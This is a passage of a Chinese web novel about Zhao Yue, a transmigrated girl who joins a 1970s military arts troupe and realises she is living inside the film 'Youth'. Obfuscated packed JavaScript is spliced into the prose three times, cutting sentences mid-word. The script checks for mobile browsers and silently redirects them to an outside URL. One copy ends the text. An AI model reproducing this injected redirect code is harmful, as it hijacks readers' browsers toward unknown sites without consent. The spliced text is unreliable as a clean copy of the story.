苏琴得知消息后,更是喜不自胜,日日盯着兆悦加紧练习,言语间全是势在必得的笃定;兆国斌也高兴,不再一味强硬管束,只叮嘱她好好表现,不要给兆家丢脸。
刘予对此却兴致缺缺。
画画本就不是她所爱,文工团的安稳更不是她的追求,她心里装着的是训练场、是边疆、是战场,提起选拔,她只撇撇嘴,一脸无所谓,丝毫没有要去的意思。
杨铮与杭春明却都动了心思,杨铮小提琴技艺成熟,气质出众,是乐队的绝佳人选;杭春明会舞蹈又会武术,能唱能跳能表演,同样具备入选的资格。
四个从小一起长大的伙伴,第一次站在同一个机会面前,互相鼓励,只盼着能一同被选上,一同离开大院,去往更广阔的天地。
选拔的日子一天天临近,大院里的琴声、歌声、练习声,日夜不绝。
兆悦依旧沉稳,每日按部就班练习,高傲的眉眼间多了几分认真与笃定。
她知道,这是她摆脱家里束缚、走向独立的最好机会,也是她在这个年代,第一次真正为自己争取前路。
杨铮依旧安静陪在她身边,偶尔为她调音、陪她对节奏;刘予天天拉着她一起锻炼体能,嘴上说着不想去,却比谁都上心;杭春明则跑前跑后,把一切琐事打理得妥妥当当,只让她安心准备。
盛夏的阳光热烈刺眼,梧桐树叶被晒得发亮,军号声穿过热气,飘向远方。
兆悦站在自家门口的石阶上,指尖轻轻抚过书包里那本厚厚的故事本,抬眼看向不远处朝她走来的三个身影。
少年少女身姿挺拔,笑容明亮,九年的陪伴早已刻进骨血。
大西南军区文工团的选拔,近在眼前。
属于他们的青春与远方,正随着一阵风起,缓缓拉开新的序幕。
4. 路途
1973年夏末,暑气还沉沉压在军区大院上空,文工团的皮卡车便碾着尘土开了进来。
带队的是团里分队长,一位面色沉静、行事干练的中年女性,话不多,眼神却极准,一眼便能看出孩子的底子与心性,完全是电影里那股不怒自威、又藏着惜才之心的模样。
空地上列队站满了跃跃欲试的少年少女,她只淡淡扫过一圈,目光便钉在了兆悦身上。
兆悦依旧微抬着下巴,脊背挺得笔直,珍珠般莹白的肤色在一片晒得黝黑的身影里格外醒目,矜贵又清冷,往那儿一站,便自成一道风景。
分队长眼底掠过一丝肯定,心里已然有了数。
兆悦是想走的,只是不想走表演这条路。
她私下拉着苏琴,低声说自己想去文工团搞创作,想写东西。
苏琴脸上依旧温和,语气却带着不容置疑的分量:“创作风险大,又不显眼,跳舞弹琴,体面、稳妥,家里脸面上也好看。你听话,去了好好表现,妈妈以后常给你寄东西。你若执意不听话,家里很多事,你也就别想着自己做主了。”
没有打骂,没有呵斥,只是轻轻一句话,便堵死了她所有退路。
兆悦心口发闷,指尖发凉,却只能低下头,应了一声。
轮到她展示,她先坐在琴前,指尖落下。
没有激昂的曲调,琴声沉静里藏着一丝压抑,像有话不能说,有路不能走。
一曲罢,她起身跳舞,动作标准、舒展、漂亮,可眉眼间那点挥之不去的落寞,明眼人一看便懂。
分队长静静看完,轻轻点头,语气里是毫不掩饰的惊艳:
“灵气、功底、感情都有,什么都会,全才呢。”
一同入选的,还有拉小提琴的杨铮、能歌善武的杭春明,以及大提琴音色沉稳的沈一娣。
唯有刘予,选拔当天人影都没见——早就托家里关系,直接去了西南一线部队,抱着枪杆子的梦,头也不回地离开了大院。
出发前,极少出门的爷爷特意赶来。
老人一身旧军装,声音沉稳:“西南那边我打过招呼,有我老战友在,你们三个孩子,有人照拂。”
兆国斌和苏琴把她的行李塞得满满当当,粮票、钱票、衣物、肥皂、手帕,一一码齐,反复叮嘱她少说话、多做事,别任性,别给兆家丢脸。
杨铮、杭春明家里也一样,行囊塞得鼓囊囊,千言万语,最后只落一句“互相照应”。
三个人就这样跟着分队长,坐上开往西南的皮卡车。
土路坑坑洼洼,车一路颠簸,尘土从窗缝往里钻。
兆悦讲究,只能拿绢帕捂着鼻子,安安静静坐着,把自己那一处收拾干净,坐立难安,和一旁呼呼大睡的杭春明形成鲜明对比。
行至半山腰,天色骤变,暴雨倾盆,山洪顺着山坡倾泻而下,碎石噼里啪啦砸在车厢上。
混乱之中,杭春明累得靠着车壁睡得沉,半点反应都没有。
兆悦几乎是本能地侧身过去,用身子将他挡在里面,手臂轻轻护着,免得碎石和晃动的行李伤到他。
车上带的干粮不多,都是些煮得烂乎乎的菜、硬邦邦的窝头,兆悦向来吃不惯。
她看了一眼,默默把自己那份推给了杨铮,只淡淡一句:“我不爱吃这个。”
并非刻意卖好,也没有故作牺牲,就是很平常的一个动作。
可落在两个少年眼里,却沉甸甸的。
杨铮看着她明明自己也饿着,却硬撑着把吃的让出来,看着她下意识护着杭春明的模样,心口猛地一撞。
那一瞬间,他清清楚楚地明白——自己对兆悦,早就不只是伙伴情谊。
杭春明醒来得知经过,眼圈一下子就红了。
他和兆悦本就沾着一点远房亲戚,勉强算表姐弟,可这一刻,他在心里狠狠发誓:以后一定要把悦儿姐当亲姐姐疼,拼了命也要护着她。
从那天起,杭春明彻底成了兆悦的贴身护花使者。
杨铮偶尔和兆悦斗几句嘴,明明是兆悦娇气挑剔,杭春明也永远无条件站她那边,理直气壮。
兆悦吃鸡蛋只吃半软不硬的溏心蛋,差一点都不肯碰,杭春明就守着小锅掐着时间煮,剥得干干净净递到她手上,比谁都上心。
一路同行的分队长把这一切看在眼里,听人说杭春明只是兆悦远房表弟,忍不住笑着叹一句:“这哪里是表弟啊,比亲爹都细心。”
杭春明只嘿嘿一笑,挠挠头,又转头去给兆悦整理座位。
兆悦靠在车边,望着窗外被雨水洗过的山林,心里总感觉闷闷的。
皮卡车载着一路尘土与疲惫,终于驶离了山洪肆虐的山路,朝着文工团驻地缓缓靠近。
空气里的湿气渐渐散去,阳光穿透云层,落在远处连绵的青山上,映出一片清爽的绿意。
兆悦、杨铮、沈一娣三人靠在车厢边,各自沉默。经过前几日的慌乱与照顾,彼此之间的气氛,早已悄悄变了味道。
沈一娣低着头,手指无意识绞着衣角,目光却总忍不住往杨铮身上飘。
少年身姿挺拔,眉眼清俊,即便一身尘土,也难掩那份温润如玉的气质。
尤其是他沉默时垂眸的模样,安静又可靠,像一颗落在心尖上的石子,轻轻一荡,便漾开满心慌张。
少女的心事藏不住,连呼吸都轻了几分。
兆悦将这一切看在眼里,却没点破,只轻轻挑了挑眉。
她活过两世,现代快餐恋爱见得多了,这般青涩纯粹的心动,倒是少见。
很快,车子抵达文工团外的临时招待所。
杭春明眼尖,一眼看见杨铮放在角落的小提琴琴盒被山石砸出一道裂痕,琴身也受了磕碰。杨铮脸色微沉,这把琴陪了他多年,早成了习惯。
“我去修!我去修!”杭春明立刻举手,一副自告奋勇的模样,实则是想趁机躲躲刚入营的训练,“这附近肯定有修琴的铺子,我保证给杨铮哥修好!你们先进去安顿,我晚点儿跟上!”
兆悦一眼看穿他那点小心思,却没拆穿,只淡淡嗯了一声。
杨铮无奈点头,将琴递给杭春明。
于是,四人组暂时分开,杭春明抱着琴一溜烟跑了,只留下兆悦、杨铮、沈一娣三人先入住招待所。
房间不大,两张木板床,一张旧木桌。
沈一娣放下行李,脸颊微微发烫,局促地站在桌边,犹豫了许久,才轻轻拉了拉兆悦的衣袖。
“小悦……我有话想跟你说。”声音轻轻,带着少女独有的腼腆。
兆悦抬眼看她,眼底带着几分了然:“你说。”
沈一娣咬了咬下唇,目光下意识往门外扫了一眼,确认杨铮不在附近,才压低声音,红着脸轻轻开口:“我……我就是觉得,杨铮他人很稳重,琴也拉得很好听。”
她只说到这里,便低下头去,指尖轻轻绞着衣角,不敢再往下说。
兆悦轻轻“哦”了一声,语气随意:“你是对他有好感吧。”
沈一娣猛地一怔,脸颊瞬间涨得更红,连忙轻轻摆了摆手,声音又轻又急:“不不不……我们现在正是学习训练的时候,不该想这些的,传出去影响不好。”
她惊慌失措,格外不好意思,带着这个年代少女特有的拘谨与内敛,连一句直白的心意都不敢承认,只默默低着头,耳根都染上一层浅红。
兆悦看她这般腼腆,也不再打趣,只轻轻点头:“我知道了,我不会往外说的。”
沈一娣这才稍稍松了口气,抬眼飞快看了兆悦一下,又迅速低下头,可眼神里那点藏不住的在意,还是轻轻落在了门口杨铮的方向。
两人说话间,房门被轻轻敲响。
兆悦抬眼望去,门口站着一个身形挺拔的少年,眉眼干净帅气,穿着浆洗得平整的衬衫,周身带着一股不经世事的明朗劲儿,一看便是家境优渥的孩子。
“打扰了,我住隔壁,过来打个招呼。”少年笑起来露出一口白牙,目光很自然地落在兆悦脸上,“我叫宋子轩。”
兆悦缓缓站起身,脊背依旧挺得笔直,只是微微侧了侧脸,眼神轻缓地扫过他,没有过分热情,也不算冷淡。
“兆悦。”
她声音清清淡淡,尾音微微一收。
宋子轩的心跟着她的尾音轻轻一跳,只得忙看向旁边的沈一娣:“这位是?”
“沈一娣。”兆悦替她答了,语气自然,不动声色地占了对话的主导。
宋子轩点点头,目光又落回兆悦身上,话题自然而然地围着她转:“你们也是刚到吗?路上是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309086|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好走?听说前面山洪了。”
“嗯。”兆悦应了一声,随手理了理袖口的褶皱,动作轻缓又讲究,“有点颠。”
她只是一个极细微的整理动作,眼神轻轻垂着,睫毛在灯下投下一小片阴影,宋子轩看着,竟一时忘了接话。
兆悦抬眸看他,眼底藏着一点浅浅的戏谑,声音放软了些许:“你站在门口,不进来坐吗?”
这一句话,客气又带着点邀请,分寸刚刚好。
宋子轩这才反应过来,连忙走进来,在桌边的凳子上坐下,坐姿端正,却难掩眼底的紧张:“我看你们房间灯亮着,就过来看看,以后都是一个团的,也好有个照应。”
沈一娣在一旁安安静静坐着,不太敢插话,只偶尔抬头看一眼,又迅速低下头。
杨铮此时从门口经过,脚步顿了顿,朝里面看了一眼。
兆悦恰好抬眼,两人目光撞上,她只是淡淡点了下头,便又转回头,继续听宋子轩说话。
杨铮的脚步顿了几秒,才默默走开。
宋子轩没察觉气氛微妙,只顾着和兆悦说话,从路上的见闻,说到他听来的文工团的事,兆悦听得漫不经心,却总能在恰到好处的时候嗯一声、弯一下眼、抬一次眸。
她不用多说什么,只一个眼神,就能让宋子轩觉得她在认真听。
“你看起来……不太像这边的人。”宋子轩忍不住说。
兆悦指尖轻轻敲了敲桌面,动作轻慢:“哪里不像?”
“气质不一样。”宋子轩说得直白,“很干净,也很显眼。”
兆悦笑了笑,没承认也没否认,只是抬眸看他,目光清凌凌的,像一汪浅潭:“你嘴挺甜。”
这一句不轻不重的调侃,让宋子轩耳朵瞬间发烫,连忙咳了一声掩饰尴尬:“我就是说实话。”
兆悦看着他局促的样子,心底那点逗弄的心思更浓了。
她太懂这种少年的心思,不用追,不用捧,只需要偶尔给一点眼神,说一句软话,就能让人记在心上。
接下来两天,宋子轩几乎天天都来。
早上帮她们打热水,中午帮着领东西,傍晚一有空就凑过来,话里话外全是围着兆悦转。
“兆悦,我给你带了块肥皂,是香的。”
“兆悦,明天要起早,我叫你。”
“兆悦,你练声的时候,我在外面等你。”
他眼底的热烈已经藏不住,连沈一娣都看得明白。
这天晚上,宋子轩又坐了很久,屋里只剩他们两人说话时,他忽然压低声音,眼神认真又紧张:“兆悦,我……我这段时间,老是想着你。我从来没有对一个女孩子这样过。”
话已经到了嘴边,再往前一步,就是明晃晃的表白。
兆悦抬眸看他,脸上那点浅浅的笑意,在这一刻忽然淡了下去。
她依旧坐着,脊背笔直,眼神恢复了平日的清淡疏离,刚才所有的软意、戏谑、默契,一瞬间全收了回去。
她没接话,只是安静看着他。
那眼神太淡,太冷静,像在看一个不熟的人。
宋子轩的心猛地一沉,到嘴边的话硬生生卡住。
他忽然意识到,之前所有的亲近与默契,好像都只是他一厢情愿。
兆悦轻轻开口,语气平静得没有一丝波澜:“天不早了,你回去吧,明天就要集合进团了。”
没有暧昧,没有回应,没有半分留恋。
她亲手把距离拉开了。
宋子轩僵在原地,脸上一阵热一阵凉,最后只能勉强点点头,站起身,声音发闷:“好……那我先走了。”
门轻轻关上。
兆悦垂眸,指尖落在自己的笔记本上,神色淡然。
逗过了,尽兴了,也就够了。
而门外,宋子轩靠在墙上,心里又酸又涩,又放不下。
他对兆悦,彻底成了想靠近又怕被冷落、想放弃又舍不得的——又爱又恨。
走廊另一头,杨铮静静站在阴影里,把刚才那一幕看在眼里。
他看着宋子轩失魂落魄地离开,再看向兆悦房间紧闭的门,指节微微收紧。
刚才兆悦对宋子轩瞬间抽离的冷淡,
是他从未见过的清醒,也让他心口那点闷意,悄悄松了一丝。
5. 惊鸿
招待所的短暂停留转瞬即逝,清晨的薄雾还未散尽,分队长便领着兆悦、杨铮与沈一娣,正式踏入大西南军区文工团的大门。
朱红色的铁门庄重肃穆,门内绿树成荫,一排排青砖瓦房整齐排列,练功房的琴声与口号声远远飘来,处处都是鲜活热烈的气息。
刚进门洞,一阵淡淡的石灰味扑面而来。
门边的墙根下,蹲着一位头发已有些花白、面容敦厚的中老年师傅,是一位泥瓦匠。
他手上握着粗毛刷,正一丝不苟地往土墙上抹着白灰,动作熟练沉稳,刷匀墙面后,又换了细笔,一笔一画认真描着红色标语,每一笔都端正有力,朴实又妥帖。
兆悦的脚步不自觉顿住。
眼前的画面莫名眼熟,刷墙的老人、石灰气息、墙上的红字,像在哪见过,却又模模糊糊,一时想不起来。
她穿越到这个时代已近十年,现代的生活、认知、常识大半都记得清清楚楚,只是这些年忙着适应、长大,早已许久不曾去回想曾经看过的影视故事,这一处细碎画面,便被暂时压在了记忆深处。
分队长回头看了她一眼,笑着喊她:“小悦同志,跟上。”
“恩。”兆悦收回目光,压下那点细微的疑惑,跟上队伍。
她只当是寻常的眼熟,并未深想,直到一行人走过拐角,一道温和踏实的身影迎了上来。
“分队长,新同志到了?”
青年穿着洗得干净的军装,眉眼憨厚,待人谦和,一看就是性子极好的人。
分队长随口介绍:“这是刘峰,团里样样都能搭把手。”
刘峰。
两个字入耳的瞬间,兆悦脑子里那根模糊的弦“铮”地一声被拨响。
刷墙的老师傅、文工团的大门、眼前的人、对应的名字——所有碎片在同一秒严丝合缝地对上。
她猛地记起来了。
这里不是普通的1973年,而是电影《芳华》的世界。
现代的记忆大半都清晰,只是太久未触碰这部电影的细节,此刻被名字和场景一同触发,所有剧情、人物、结局,瞬间清晰地涌回脑海。
兆悦心跳微快,面上却依旧镇定,跟着分队长往里走,一路走,一路在心里把文工团和里面的人,一点点对照、复盘清楚。
刘峰是团里公认的好人,勤快、热心、能吃苦,谁都愿意找他帮忙。
可他的善良太满,太不设防,最后只会被当成理所当然,一次越界的心意,就能把他整个人拖进泥潭,落得被批判、被下放的下场。
林丁丁长得娇俏甜软,声音也甜,最招男同志喜欢。
她看似无害脆弱,实则极其现实,遇事只会先保全自己,是压垮刘峰的关键一步。这种人不能深交,不能得罪,更不能沾半点牵扯。
何小萍出身不好,从小缺爱,进了文工团也抬不起头。她敏感、内向、自尊心极强,却因为一身汗味、一件军装、一次不合群,被全团孤立取笑。
兆悦一想到她后来的遭遇,心里就轻轻一沉。
萧穗子更像一个旁观者,文笔好,心思细,有自己的暗恋和坚持,不主动欺负人,也不主动护着谁,在集体里安安静静藏着自己。
文工团看着光鲜,琴棋书画,唱歌跳舞,其实圈子小、是非多。
谁出身好,谁长得美,谁会来事,谁受领导喜欢,都分得明明白白。排挤、孤立、流言、攀比,都藏在琴声和舞步里。
再往后,时代一变,文工团说散就散,年轻的理想和热情,被现实冲得七零八落。
有人上前线,有人转业,有人疯癫,有人遗憾一生。
兆悦一路走,一路不动声色地打量四周,脚下的路和记忆里的画面渐渐重合,文工团的布局在她脑海里愈发清晰。
左手边那栋带大窗的两层楼,原是新华书店,如今被团里改成了图书室和资料室,门口还挂着褪色的益生洋行招牌。
或许她要找报纸、阅读写作,这里就是最稳妥的地方,也是刘峰常来帮着整理书籍的安静角落。
再往里走,那片连排的矮屋被唤作芳华小筑,青瓦白墙,院角种着月季,正是文工团的女同志宿舍区。
林丁丁爱凑在檐下的石桌边说闲话,何小萍的床铺会在里侧的上铺,最是阳光明媚,萧穗子则靠窗住着,以后那些排挤、孤立、细碎的流言蜚语,多半会从这片矮屋里飘出来。
紧挨着宿舍区的三层青砖小楼,是团里的政委大楼,走廊尽头的办公室亮着灯,分队长、政委和团长的办公地点都在这儿。以后刘峰被下放前的谈话,绕不开这栋楼的台阶。
而最深处那栋挑高的大屋顶建筑,便是文工团的核心——排练厅,她记得在手机上反反复复刷到过,是日后《再现芳华》的演出点。
红漆木门敞开着,朝里望去,里面的木地板被磨得发亮,镜墙占了整整一面墙,她昨日被迫展示舞蹈和钢琴的场景,仿佛已经在这空间里预演。
何小萍第一次登台时的局促,刘峰踩着凳子修舞台布景的身影,全团围着镜子练舞的热闹,都将在这栋建筑里发生。
沿途的树影落在青砖路上,台阶的高度、墙垣的走向、甚至晾晒场的位置,都和记忆里的镜头严丝合缝。
兆悦指尖轻轻摩挲着随身的小梳子和镜子,包里的故事本安静躺着。
她是这个故事里本不存在的人,没有既定的轨迹,也没有写好的结局。
既然来了,就不能跟着原剧情一起沉下去。
等走到排练厅门口时,兆悦已经完全平复了心绪。
心底的惊澜尽数压下,脸上依旧是那副微抬下巴、脊背笔直的生人勿近模样。
分队长推开排练厅的红漆木门,一股混合着汗水、松香与旧木地板气息的热浪扑面而来。
里面早已是一派热火朝天的景象:左侧是乐队席,提琴、手风琴、长笛的声音交织在一起,乐手们或低头看谱,或调试乐器,指挥站在最前方,手里的指挥棒轻轻起落。
右侧是舞蹈区,姑娘们穿着灰扑扑的练功服,在镜前压腿、下腰、旋转,裙摆翻飞,汗水顺着脖颈往下淌,男队员则身着藏青色训练服,在一旁练着托举与队形,口号声短促有力。
兆悦跟着分队长走进去,脚步不自觉顿了顿。
她没有像其他人那样下意识低头或躲闪,只是微微抬着下巴,脊背挺得笔直,像一株绽放在晨光里的红伶花。
身上穿的月白色的乔其纱衬衫,领口绣着一圈极淡的杏色缠枝莲,袖口收得利落,下摆轻轻扎在姜黄色的高腰百褶裙里,裙摆只及膝下一寸,露出线条匀称的小腿。
脚上是一双浅棕色的牛皮小皮鞋,擦得锃亮,与周遭清一色的胶鞋、布鞋形成了鲜明的对比。
这般鲜亮又雅致的穿搭,在满屋子灰、蓝、藏青的排练厅里,像一道骤然破开云层的光。
她本就生得莹白,衬着这抹姜黄与月白,更显得眉眼如画,气质矜贵。
远远甩开了身边人的老气,精致与摩登,瞬间把满屋子的烟火气都衬得黯淡了几分。
正在练琴的乐手们指尖一顿,弓弦悬在半空;舞蹈区的姑娘们动作慢了下来,纷纷侧目,连指挥都停下手中的动作,回头望了过来。
舞蹈队前排,正站在领舞位置的萧穗子收了姿势,目光轻轻落在兆悦身上,带着几分安静的打量。
她身旁的林丁丁下意识往萧穗子身边靠了靠,两人飞快对视一眼,眼神里都藏着一丝微妙的警惕与好奇,没有说话,只轻轻抿了抿唇。
后排的小芭蕾悄悄用胳膊肘撞了撞卓玛,下巴朝兆悦的方向偏了偏,两人眼神飞快交换一下,带着几分说不清的意味,嘴角轻轻撇了一下。
乐队席里,郝淑雯坐在中间从镜子里往向她们。
她是一派北方大嫚的爽直傲气,眼底没什么藏着掖着的,明明白白透着股“我倒要看看你有多厉害”的不服气,指尖轻轻敲了敲琴键,神色坦荡又张扬。
“都停一下。”分队长清了清嗓子,她的声音不算洪亮,却带着常年带队的威严,稳稳压过了排练厅里的嘈杂,“给大家介绍几位新同志。”
喧闹如同被按下暂停键,渐渐平息,几十道目光齐刷刷聚焦在门口的几人身上。
“这几位,都是从南方分区统一选送过来的新队员。”
分队长先一句带过三人的来历,再一一介绍,“小提琴,杨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309087|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铮。”
少年穿的是一身洗得干净的浅灰色便服,身姿挺拔,眉眼清俊。
面对满屋子的注视,他神色依旧淡然,只是微微颔首,唇角连一丝弧度都没有,像一汪深不见底的静水,从容又沉稳。
“大提琴,沈一娣。”
沈一娣穿了件素色碎花布衫,配着深色长裤,模样朴素又腼腆。被这么多人盯着,脸颊一下就红了,忙低下头轻轻鞠了一躬,声音细得几乎听不见:“大家好。”
最后,分队长的目光落在兆悦身上,语气里的骄傲与欣赏毫不掩饰:“这位是兆悦,咱们团里难得的全才——能跳舞、会钢琴、朗诵更是拔尖,文能播音主持,武能登台领舞,放到哪儿都是顶梁柱呐。”
话音一落,排练厅里顿时泛起细碎的议论声。
舞蹈队前排,正站在领舞位置的萧穗子收了姿势。
乐队席里,郝淑雯的手按在手风琴键盘上,风箱还悬在半空。
小芭蕾和卓玛在舞蹈队后排,偷偷对视一眼,小声嘀咕:“长得真好看,穿得也太洋气了。”
朱克等男队员靠在把杆边,眼神直发亮,毫不掩饰地往兆悦身上看。
乐队角落的陈灿握着小号,只是淡淡抬了下眼睫,目光在兆悦身上极轻地一掠而过,快得几乎让人无法察觉。
他脸上似乎没有多余的情绪,依旧是那副漫不经心的散漫模样,仿佛只是在看一个再普通不过的新队员。
可只有他自己知道,那一眼看似随意,却已经将她的模样、气质、周身的气场,稳稳地记在了心底。
这份藏在平静之下的留意,便是他与所有人最不一样的地方。
兆悦将这一切尽收眼底,面上却依旧淡然。
她看着眼前这些人,清楚其中藏着日后排挤欺负何小萍的始作俑者与旁观者,心底本就没什么好感。
再加上方才一瞥之下,他们的训练水准无论技巧还是功底,都远不及自己多年的沉淀,那份刻在骨子里的高傲,便更显笃定,自始至终没对谁露出过半分多余的神色。
分队长看着她,越看越满意,语气也格外温和:“兆悦,你能力全面,舞蹈队、乐队,你想去哪边,我都给你安排。”
话说到这儿,她忽然想起团里的情况,补充了一句:“就是目前团里唯一一台钢琴,由林丁丁负责独唱伴奏,暂时归她使用。”
分队长话音刚落,兆悦眼都没眨一下,语气清淡又干脆,没有半分犹豫:“我不用她的。”
几个字,态度明明白白。
这话轻飘飘一句,却精准扎进了林丁丁心里。
她是团里独唱,专用的钢琴使用者,向来被捧着,此刻被人这般轻描淡写拒之门外,心里顿时涌上一股说不清的别扭与不爽,像是自己最在意的东西被人嫌弃了一般。
林丁丁下意识撇了撇嘴,指尖卷过一缕鬓边碎发轻轻一撩,动作带着几分刻意的娇俏,眼底却藏着一丝不服气的黯淡,看向兆悦的眼神也多了层微妙的抵触。
分队长半点不恼,反倒更顺着她。在她眼里,兆悦这样的好苗子就是天生的台柱子,性子矜贵挑剔一点,再正常不过。
她立刻温声应下:“好好好,不用就不用。团里已经专门订购了全新的品牌三角钢琴,过段时间就到,到时候钢琴由你负责。”
顿了顿,分队长当着所有人的面,说得直白又郑重:“这几天你先跟着舞蹈队训练。你就是舞蹈队的主舞替补,队里谁有事、谁缺席,你立刻顶上。等新琴一到,你就进乐队负责伴奏;要是演出不方便带琴,你就上台领舞,或是负责朗诵播音——两边都由你挑。”
这番安排,偏心与器重,全摆在了明面上。
“各自入队,继续训练。”
杨铮拎着琴盒走向乐队席,走了几步,悄悄侧过身,对着兆悦的方向,极轻地挥了挥手。
兆悦目光微抬,与他对上,脸上依旧没什么表情,只静静点了下头。
一来一回,无声默契,是只有两人才懂的熟稔。
兆悦随即转身,跟着舞蹈队领队走向镜前。
阳光透过高窗落在她身上,将那道亭亭玉立、清冷耀眼的身影,衬得格外醒目。
6. 锋芒
兆悦跟着舞蹈队领队走到镜前的位置,刚一站定,身边的姑娘们下意识往旁侧让了让,不敢靠得太近。
往常这些琐事自有杭春明替她打理,如今小跟班不在,只能自己动手。
她弯腰将身侧那张木质练功凳仔仔细细擦了三遍,指尖摸不到半点灰尘,才缓缓落座。
脱下那双锃亮的浅棕色牛皮小皮鞋,摆到离众人鞋子足足两步远的地方,再从布包里拿出崭新舞蹈鞋,慢条斯理套上、系好。
一切收拾妥当,她抬手轻轻拍了拍裙摆,对着镜子理了理鬓角碎发。
队里的姑娘们早已经热身完毕,都在镜里偷偷看她。
林丁丁往萧穗子身边靠了靠,下巴微抬,眼尾轻轻扫了兆悦一下。
萧穗子没说话,只微微垂了垂眼睫,手指轻轻抠了一下把杆。
小芭蕾用胳膊肘碰了碰卓玛,两人飞快对视一眼,又立刻转回头,装作认真压腿。
郝淑雯在乐队席上拉着手风琴,风箱一顿,目光从谱子上挪开,透过镜子直直看向兆悦,指尖在键盘上轻轻一叩。
兆悦垂着眼,站起身。
同样的练功服,她领口扣得齐整,腰板挺得笔直,站在人群里,一眼就能被挑出来。
领队拍了拍手:“都到中间来,继续合练。”
众人往前站去,兆悦却留在原地,抬手、沉肩,慢慢开背。
她没跟队,也不问,自顾自拉伸,动作慢、准、稳。
姑娘们的目光又悄悄飘了过来。
有人不服,有人好奇,有人等着看她出丑。
兆悦抬眼,望向镜子。
林丁丁立刻收回目光,指尖卷过一缕碎发,绕了两圈,小芭蕾赶紧低下头,耳朵微微泛红,郝淑雯迎着她的视线,半点不避,直直看回去,假模假样笑一下。
兆悦的目光轻轻一移,落在乐队角落。
陈灿握着小号,嘴唇轻贴号嘴,视线看似落在谱架上。
可镜子里,他的目光一直停在她身上。
兆悦没躲。
就看着镜中的他,一动不动。
陈灿指尖一顿。
他被看得微不自在,却还是对着镜中的她,极淡地勾了下唇角。
兆悦没有任何回应。
她平静看了他两秒,眼皮轻轻一垂,目光挪开,继续压自己的腿。
从头到尾,没有一丝多余表情。
陈灿脸上那点笑意僵在原地。
他握着小号的手指紧了紧,第一次觉得,自己那套从容,在她面前完全失效。
领队走过来:“兆悦,怎么不跟队?”
兆悦缓缓收回腿,站直,声音清淡:“我还没开身。”
领队愣了一下,没再多说:“那你先活动,等下跟上。”
兆悦“嗯”了一声,重新转向镜子。
她抬臂、展肩、下腰、压腿,动作利落又疏离。
一屋子的目光、议论、试探,都被她隔在身外。
过了一会,领队拍了拍手:“都到中间来,继续合练——《红色娘子军》选段。”
音乐一起,姑娘们立刻站定队形,抬手、踢腿、迈步,动作整齐划一。
只是跳了没半分钟,姿态里还是少了几分力道与韵味。
兆悦还在镜前压腿,耳朵听着节奏,眼皮都没抬一下。
这支舞她太熟了,经典到刻进骨子里,就算隔了年月,肌肉记忆还在。
领队看了她一眼:“兆悦好了吗?好了你也上来,跟着一起跳。”
兆悦缓缓站直,理了理练功服的袖口,走到队伍最后一排站定。
前奏再起。
前面的姑娘们沉腰、迈步、扬手,标准的文工团范式。
兆悦跟着起步。
第一眼看上去,动作和大家一样,可细看就不一样了——腰更挺,转更稳,手臂线条拉得极长,落脚干净有力,少了几分刻板,多了几分舒展利落,藏着一丝旁人没有的现代质感。
跳至中段的经典亮相,姑娘们齐齐定住。
兆悦也定住。
只是她那一下,肩颈线条绷得极美,重心稳得像钉在地上,眼神一亮,整个人瞬间立住了。
林丁丁跳着跳着,余光瞥见她,动作微微一顿,萧穗子也愣了半拍,脚步差点乱掉,小芭蕾和卓玛直接看呆了,连抬手都慢了一拍。
陈灿握着小号,目光再也没从镜子里挪开。
一段结束,音乐收住。
整个排练厅静了两秒。
姑娘们全都喘着气,看向兆悦的眼神彻底变了。
刚才的不服、好奇、看热闹,全变成了震惊。
同样的动作,她一跳,就像是原版里走出来的主角,比领舞还像领舞。
领队眼睛一亮,上前一步:“再来一遍!兆悦,你往前站!”
兆悦不推不让,径直走到前排中间位置,站定时,脊背笔直。
音乐再起。
这一次,她不再收敛。
抬手、旋转、跳跃、亮相,每一个动作都精准踩在节奏上,力道、韵味、气场全拉满。
既有年代舞剧的端正,又带着一丝恰到好处的现代舒展,看得人挪不开眼。
一舞毕,收势。
全场安静。
林丁丁抿着嘴,脸色微微发白,手指攥紧了裙摆。
萧穗子望着她,眼底只剩佩服。
郝淑雯在乐队席轻哼了一声,却没半分不服,只剩实打实的惊讶。
陈灿看着镜中那个收势后依旧站得笔直的身影,指尖轻轻敲了一下号身。
他第一次,这么认真地记住一个人。
兆悦微微喘着气,脸上没什么表情,仿佛只是做了一件再平常不过的小事。
训练厅墙上的挂钟,指针慢慢滑向傍晚五点。
乐声一停,姑娘们齐齐松了口气,汗水顺着下颌往下淌。
分队长站在门口,抬手敲了敲门框。
“今天就到这儿,解散,吃饭。”
哄的一声,训练厅里立刻活泛起来。
累了一天的少年少女们揉着胳膊捶着腿,三三两两往门外挪,大多直奔澡堂——练了一整天,汗味重,谁都想先冲个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 